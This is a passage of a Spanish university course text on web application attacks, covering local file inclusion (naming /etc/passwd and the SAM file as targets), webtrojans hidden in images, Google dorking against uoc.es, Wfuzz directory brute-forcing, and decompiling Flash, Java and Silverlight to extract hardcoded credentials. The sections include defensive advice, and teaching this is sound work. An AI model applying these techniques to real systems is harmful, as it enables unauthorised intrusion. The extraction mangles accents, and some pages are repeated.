Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
